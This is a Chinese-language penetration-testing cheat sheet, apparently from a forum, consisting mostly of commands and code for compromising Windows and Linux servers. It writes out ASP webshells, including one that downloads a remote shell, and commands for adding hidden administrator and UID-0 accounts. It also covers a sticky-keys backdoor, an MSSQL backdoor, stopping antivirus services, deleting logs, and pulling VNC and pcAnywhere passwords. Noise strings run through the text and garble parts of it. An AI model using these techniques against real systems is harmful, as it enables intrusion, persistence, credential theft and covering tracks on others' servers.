渗透技巧总结

admin

旁站路径问题
3 o$ U8 a0 M7 Y) U& m4 w, w1、读网站配置。
8 j1 G/ L( z" H2、用以下VBS
* S8 t2 u. k0 R7 M9 J: F! `$ M* k! WOn Error Resume Next
( v! r8 U) g0 VIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
* f! j5 _. c0 I1 r8 |, D        

Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
& {' m5 ]& E& R( C5 U" r1 i# `
Usage:Cscript vWeb.vbs",4096,"Lilo"
6 y5 [0 [& r: ~- ~3 C. Q        WScript.Quit
End If
Set ObjService=GetObject
' E- j0 R+ T; m- Q8 z
) \- y% l$ w! `, Z/ k# x("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
        If IsNumeric(obj3w.Name)
! \: H# c9 {  z# q- K7 n% O5 T
Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
& k1 Y, G1 q, ^         
1 W- ^8 V+ U1 s* L& U' W+ ]
0 k7 |+ H1 {; |6 m8 t% V# y       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
+ l( v& n! H4 t8 l                If Err
5 ]6 K) J1 r2 n8 \& A) E  O: w
$ [# ?: H# E2 w$ @6 l; s$ N9 L<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
8 y6 Q+ O# `* g8 @9 O  w     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
4 u! ~  b* a: q; u1 c" D                        
! U+ Z1 h$ g4 b* l! y4 g
WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
      
/ J% [. t% d$ S3 ]& R5 P: C0 }
         WScript.Echo "ath            : " & VDirObj.Path
3 W6 r1 J" s9 b+ q0 K        End If
Next
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
  s/ c' B, G% {* R, ]* D: x5 f# c" lWordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
——————————————————————
# Z: y8 q- H' ophpMyAdmin暴路径办法:
( C7 q6 }0 D9 ?phpMyAdmin/libraries/select_lang.lib.php
$ E3 G& J/ e. |# J" mphpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
, I$ B  N* C  I6 Q( B————————————————————
2 ^  t9 Y6 R1 r% l+ P0 |网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
, n) X8 C0 j* q6 jCMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
/ Q* p" |. w) j. G! G+ fnetsh ras show user #查看哪些用户可以拨入VPN
$ z  C' Q1 _# V. }4 Knetsh ras ip show config #查看VPN分配IP的方式
# S3 N  {. _  O2 g" {netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
( n& M1 s1 _9 D( h9 x, `# r命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
7 h7 X0 F/ l' E! x1 n6 C& P8 [6 @exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
; }. q* a$ M$ d4 Wjs:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;

vbs:
Set   o=CreateObject( "Shell.Users" )
' P& K8 G8 e- x6 {. m  W. aSet z=o.create("test")
z.changePassword "123456",""
3 z& u5 g) r) m) L5 t  d; ?z.setting("AccountType")=3
——————————————————
9 l& C. Y& x9 I, ^* B9 o1 `5 Tcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

( R" R3 o- A4 J% {命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
1 X$ }7 y* v+ W+ N7 {1 A————————以下配合PR更好————
3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
% E# [6 H- R: _& E; @0 K2003 运行mstsc /console   

' `) A& V/ y# X; q杀软关闭（把杀软所在的文件的所有权限去掉）
3 Q0 Q, a( T5 O% ?2 ?3 J处理变态诺顿企业版：
( h# C( z, |4 P' t5 f- ]# fnet stop "Symantec AntiVirus" /y
9 d8 t+ q$ h, c  P* w- gnet stop "Symantec AntiVirus Definition Watcher" /y
  }6 H# M) G1 R0 v; inet stop "Symantec Event Manager" /y
7 s* t) K7 l: d; @net stop "System Event Notification" /y
" W4 I8 R, C: d4 v( `* y% Anet stop "Symantec Settings Manager" /y

, z- Z0 z+ y/ z- Y卖咖啡：net stop "McAfee McShield"
————————————————————
! c" }. n3 D: Z
6 w: ?& n+ _5 L  h8 B5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
* G( L9 _& X) Q# D' Acopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
% k3 b0 t' U0 l; G6 V) k) xcopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
' W9 c% e& _) \. |7 `- I1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
8 W+ Q, e: e* c" Q! z( A/ WMSSQL扩展后门：
. x9 E4 z8 t5 h  C1 f5 lUSE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
. y5 V# s- F  }3 g; Q$ n, G) T5 w———————————————————————
) Y* q5 N" N$ A日志处理
2 y4 s8 C, Q5 t! n7 Y( a. C% lC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
! O/ @- X  J/ C- y) d直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
& g% p2 o7 }; l: p( ?% b: F, W& V& C用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
8 x: H7 ^5 g; ~: ]当停止msftpsvc服务后可直接删除ex011124.log

4 e, r& e% N1 C  i4 }* M0 J; H/ bMSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
! s! n* u( m" C  F' I+ I$ d+ |# ]HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
# J! w9 z, |3 q! @  pMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
0 ]! Z4 [' _7 X. H& ?# y: h
  t* c; [; F+ `5 g0 d6 `1 PServer\90\Tools\Shell\mru.dat
—————————————————————————
7 {- L% H; y# |: ^% ^防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
+ P' z1 x5 E( x" D
: s7 n4 B  _8 u3 Z% I" t<%
  ^4 A& W" ~) U) Z; S9 R2 jSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
. e1 A9 W- `4 ~6 M6 e. f; M# S# g0 \Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
; H8 U: _/ ^2 m- NWith Retrieval
- i2 k/ O8 f) P4 g! [.Open "Get", s_RemoteFileUrl, False, "", ""
/ y. e. v1 s8 k. H6 a.Send
GetRemoteData = .ResponseBody
End With
4 }  Z( \, h- k  P! _8 ]Set Retrieval = Nothing
$ o4 l( o/ j) B4 j' A9 Q: ?Set Ads = Server.CreateObject("Adodb.Stream")
With Ads
8 k$ V$ ?/ w4 W! _& P3 N1 Z+ b9 Z.Type = 1
) m2 f) x# C, q" U* H; C! s5 z.Open
! @2 s1 [. {9 j2 M.Write GetRemoteData
5 L/ X2 v% [, _" q/ K: Y) V  B.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
.Close()
/ C4 j0 v0 O% {* x+ FEnd With
& c4 c4 D( S1 F# E- z0 E$ a0 V  i0 lSet Ads=nothing
# J) V4 i2 h- q( V: ~End Sub
) l3 N" Z$ T( ?' w$ k
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
; W' A, {, i: z! {1 g6 F& u$ n2 y%>
2 e% U) s# y( j
' a9 f' T" X6 p' Z9 w& XVNC提权方法:
) A$ G% S. j+ G) k9 M: ~利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
0 t+ f3 o7 a1 u! ^regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
2 Y' t- r+ D+ A6 c3 z% Q/ N. UHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
$ F1 M7 x8 h) p; m0 h& {HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
2 ^5 p  J/ s# s0 |( H然后用HASH版连接。
0 q% Y3 U2 r5 }7 u如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
- e; m9 Q! P- s% S8 z/ k4 IUsers\Application Data\Symantec\pcAnywhere\文件夹下。
3 ^+ W* c# L" c2 }/ m2 n. P) }——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
! k- H, n- C% E0 }% J1 s# S——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。

1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
1 Y8 b% R8 E' PstrSQLDBUserName = "数据库帐号"
5 |1 g2 z" k( }; @strSQLDBPassword = "数据库密码"
" @6 a) q, u5 ~' V, {8 Y% X) x- k1 ]6 VstrSQLDBName = "数据库名称"
5 [( \$ S7 D, S0 Q0 M# qSet conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
' U. Z9 r2 i& M
7 ~2 O* m( G! M) E";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
# |% u" u, L  J" _3 S+ F
strSQLDBName & ";"
( _: S; j5 R3 n5 q" k) B; ?; ^2 L0 \7 Lconn.open strCon
  N  a7 ^) c1 Y5 D3 Gdim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
2 X% [6 T2 B" J# Y2 C%>
复制代码
******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
0 L5 C1 l- \  L( P看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
0 m: `" z% G1 c- s* @* Abase ou=People,dc=unix-center,dc=net
8 X& l, Z1 {' e8 n$ q找到ou,dc,dc设置

3.查找管理员信息
) U6 V( ^( L( ~2 X- d匿名方式
  A  d4 S) v( W' m# I' m( s5 i- uldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
% |$ N, e* e: |3 N# b9 s
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
2 Y1 w+ K5 m! k/ e有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
. W1 l0 y. E5 v8 h' L
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
- `; J  L4 t$ H3 B  [- v

4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
. c& I9 y$ M8 t8 _% _  p
实战:
1.cat /etc/nsswitch
& N7 W7 z0 |5 z/ a0 E3 B# S; s( l5 Y4 t看看密码登录策略我们可以看到使用了file ldap模式

: E8 y. U3 x, G  g/ O6 E( F* U3 k0 u2.less /etc/ldap.conf
4 y- D, A9 S6 t  ]% H0 qbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
匿名方式
6 m  l' ?6 N( R2 l0 V1 `4 A# W) Zldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
% C0 F! W9 i- u  r  x" T" a. x
% n3 _5 Y7 A; S4 [; `"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
: N. z, e9 f: _3 O0 ?有密码形式
& c1 Y  T9 [) D( z$ X$ y6 lldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
% B; \- }' F- M" E

+ _2 o8 X9 W! J  E* E, q& g5 {4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
0 Z7 R0 z) I7 x- L/ L  B6 z! c2 ~
( b3 j1 i7 }7 ~9 P$ C: _& {渗透实战:
8 A, I# U. h- g: u+ J; _8 S1.返回所有的属性
/ F- F  b( U! ?. L: tldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
6 c1 m  `5 b2 B* q: Aversion: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
" A2 a8 g& X: VobjectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
8 n2 d; i4 r  B# V2 G# wobjectClass: organizationalPerson
objectClass: person
objectClass: top
: ^2 B4 c, X- d- X# Asn: manager
1 e5 v5 Y! K, R8 @+ i& H0 V" Icn: manager

, U! x6 X$ w  {. \" g* fdn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
+ a  g  E! k0 T+ C2 v1 E6 QobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
: B0 h: i' f+ N8 ysn: superadmin
: ]  u$ O+ _2 }7 x0 `cn: superadmin
/ }6 G% X# W3 R9 D
* i6 |" |' G- E. c; {- ddn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
objectClass: inetOrgPerson
objectClass: organizationalPerson
# }! Y  `! E5 W0 B) dobjectClass: person
objectClass: top
sn: admin
' z" S9 N4 Q3 o9 u3 G, tcn: admin

3 a" |& S7 p. z& z  v% Bdn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
; r  O$ `* D- r4 |  nuid: dcp_anonymous
objectClass: top
objectClass: person
objectClass: organizationalPerson
6 Y1 I9 X# v. ?( j) f+ h+ robjectClass: inetOrgPerson
sn: dcp_anonymous
# r: @1 v4 U9 i: A; p, c+ C5 Ecn: dcp_anonymous
" p8 @3 G* `4 |& I' u
2.查看基类
# t5 s' \0 A1 [- f$ Y, A: Bbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

more
version: 1
dn: dc=ruc,dc=edu,dc=cn
) W3 {/ h0 k& B! l) N% v2 B" Sdc: ruc
objectClass: domain

3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
objectClass: top
1 R4 n/ E% i% V2 y4 NnamingContexts: dc=ruc,dc=edu,dc=cn
3 Z0 ]! p8 M3 j1 w+ m9 A! q. qsupportedExtension: 2.16.840.1.113730.3.5.7
( H5 u+ t, A2 m- AsupportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
1 O7 S' @+ d+ g) usupportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
, x. \9 [; A  j: gsupportedExtension: 2.16.840.1.113730.3.5.6
. y; L% Z& {2 Z' D, nsupportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
# q5 t4 X0 z* usupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
( E- O% _/ m# E. SsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
5 B: v3 v+ V0 zsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
: F* o2 P6 p! b3 N5 d, o+ @- j& NsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
  D4 I! Q4 }5 L% y) JsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
8 L4 _* L) d- t. OsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
# ]3 z: J5 G+ t" MsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
% h$ t- z0 |+ c+ G$ T& @supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
& [0 r. n) ^4 A6 w6 \5 h  t3 _/ F& LsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
: E% H7 m4 @' u8 M" N+ m% H; V8 BsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
" c( J+ x6 A- J9 T! `supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
, ?( @- C. n- U, h* p+ CsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
$ ?6 C9 p, r& ?) n0 b* t) `supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
7 w* B& A7 \$ d0 _$ ~supportedControl: 2.16.840.1.113730.3.4.15
# l$ Y+ R8 H8 V- QsupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
! b2 r5 l! `( e, j! `supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
* j# A% x  \( r8 I* csupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
6 Q/ y- d, j0 S! a' r) _supportedControl: 1.3.6.1.4.1.1466.29539.12
4 n" z* i2 P$ K' nsupportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
8 m% K  z4 [1 t9 t: BsupportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
7 Z$ f8 f; [1 n" l+ qvendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
: M/ n+ s9 Q/ i3 X3 v! {4 W( j7 Knetscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
  }3 r  O+ U3 U! m7 ysupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
/ G& f& Y+ `# Q% J7 C/ M1 EsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
, ~( E& a8 g/ ~. e9 A+ E* o2 hsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
/ K! J6 a& z, v+ f3 @3 I7 esupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
; e6 \/ D7 L. k* d- }, c, q+ }/ VsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
( E; P! K' z$ q! t- f( P! x8 psupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
6 {# J8 I+ [! D$ msupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
0 ]- c5 \: E5 w# x/ |- S8 A; C: lsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
) A. T3 H  T0 D* W. `2 ]6 dsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
" B# i- [2 d8 `supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
7 ?5 R5 a- B& O' l0 V* |6 P/ AsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
! i0 h0 n. k) R4 T/ ?% e! V+ \0 MsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
9 u* x' a1 ?9 v3 o9 R: d5 H0 XsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
# a( S8 h) D% c4 q! G/ g- o0 xsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
1 g+ v$ {. x0 q' C" h3 {0 usupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
: q, t5 |; s+ P- c* R9 w7 _supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
7 P  m& {& ~; s( W' ]4 b( esupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
  J3 @3 ]- Z. ^7 r: JsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
  |) U8 o9 n$ N8 D$ x2 NsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
; s7 k3 j5 h5 }supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
( |" I/ q- J* VsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
( F. F2 s/ G+ X6 d' y& V5 w6 hsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
; Y) G8 `7 B. x& ~8 ^5 vsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
$ a# b5 {. G+ b( b+ ysupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
9 }- Y( {" x4 A( i$ G$ \supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
( O* G! c. I- U6 E) H1 KsupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
8 Q8 ]& b# @9 H! W& d9 x' \- rsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
. ^; Q0 F7 U% M; qsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
6 O- |) B7 m1 X' R2. NFS渗透技巧
2 Z5 |. L" d: W+ z: ?# W: Wshowmount -e ip
, I, J3 L0 o9 S0 r& m+ f, }; h列举IP
——————
3.rsync渗透技巧
( S3 E5 j; _( Z1.查看rsync服务器上的列表
$ F1 Z- G+ R. f- Z8 z' ?rsync 210.51.X.X::
2 e/ S& A' R8 f2 D* xfinance
  t% K2 J- R& i( l: u. |7 ?img_finance
8 }+ t7 Y/ ~* v% G# vauto
; q% Y+ P# J6 o4 G6 Z5 Rimg_auto
html_cms
img_cms
ent_cms
7 m' ^& c% j. u1 P7 Cent_img
! m5 F$ x# i  X  \; `& Pceshi
res_img
res_img_c2
  B) X6 J% b& [* R/ L$ Fchip
9 D& Z2 q  O/ J8 zchip_c2
ent_icms
' f" ?7 E; E6 l& W% ?' G3 Igames
gamesimg
9 ]/ ^1 U& d% R+ Jmedia
mediaimg
fashion
res-fashion
, A3 h% q0 ~- Kres-fo
taobao-home
* {8 H0 \( g: m6 L: K+ g2 d, nres-taobao-home
% F0 x1 q( ~- @( a: u* H! Lhouse
8 n* T5 w- A( L4 y6 m' r2 wres-house
res-home
0 D1 G1 |1 J8 L9 X7 yres-edu
  x+ C6 F) R, z/ y4 Bres-ent
res-labs
res-news
3 ]2 B+ }% H  Y8 z( A: ]% Z2 z5 e( Kres-phtv
res-media
( L6 y1 R5 Q: H1 uhome
edu
news
res-book
4 r) v7 p0 Z" U- U; q
/ I! p- G: m6 R看相应的下级目录(注意一定要在目录后面添加上/)

$ |# ]' J/ g9 f2 P" K" w/ l; ^: g
rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/
  q3 Q/ Y$ B2 }0 z0 f" ], e
2.下载rsync服务器上的配置文件
5 B, q5 Q/ x% Z- o% ~  O. K; lrsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
. [7 k; T& r9 G/ w; [
3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
  ]$ F! _8 O5 p7 Y, [, Bhttp://app.finance.xxx.com/warn/nothack.txt
4 T2 q1 i; H( D  m; N2 O3 D& G
四.squid渗透技巧
nc -vv baidu.com 80
  C+ @7 L7 z: yGET HTTP://www.sina.com / HTTP/1.0
' f% c% S4 c4 N6 N* GGET HTTP://WWW.sina.com:22 / HTTP/1.0
* |5 U. {& h, y2 G' j5 ?$ A9 _& D五.SSH端口转发
6 @6 u# _  E/ p; i/ m1 N( Zssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
9 e- W9 M. I8 _  ?, c/ a) @9 p
+ k+ [) Y* n8 Z2 L* ?0 K" J) m" l  S六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
" G& D" M+ ^, x
" [3 \8 R. i' W15&catid=32:languages&Itemid=47
0 J) N$ o& d/ l+ x4 e" T0 H
& \! b/ M; `  a1 g( L" L重新设置密码
index.php?option=com_user&view=reset&layout=confirm
7 k" _/ I' y2 l3 M% \
2 z7 \& J: a$ ]7 O七: Linux添加UID为0的root用户
useradd -o -u 0 nothack

八.freebsd本地提权
, C9 w' l* q; r5 O. ^& R# |  Z[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
7 R. L6 m; {' [7 b& w5 j* vfs.usermount: 1
* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
calling nmount()

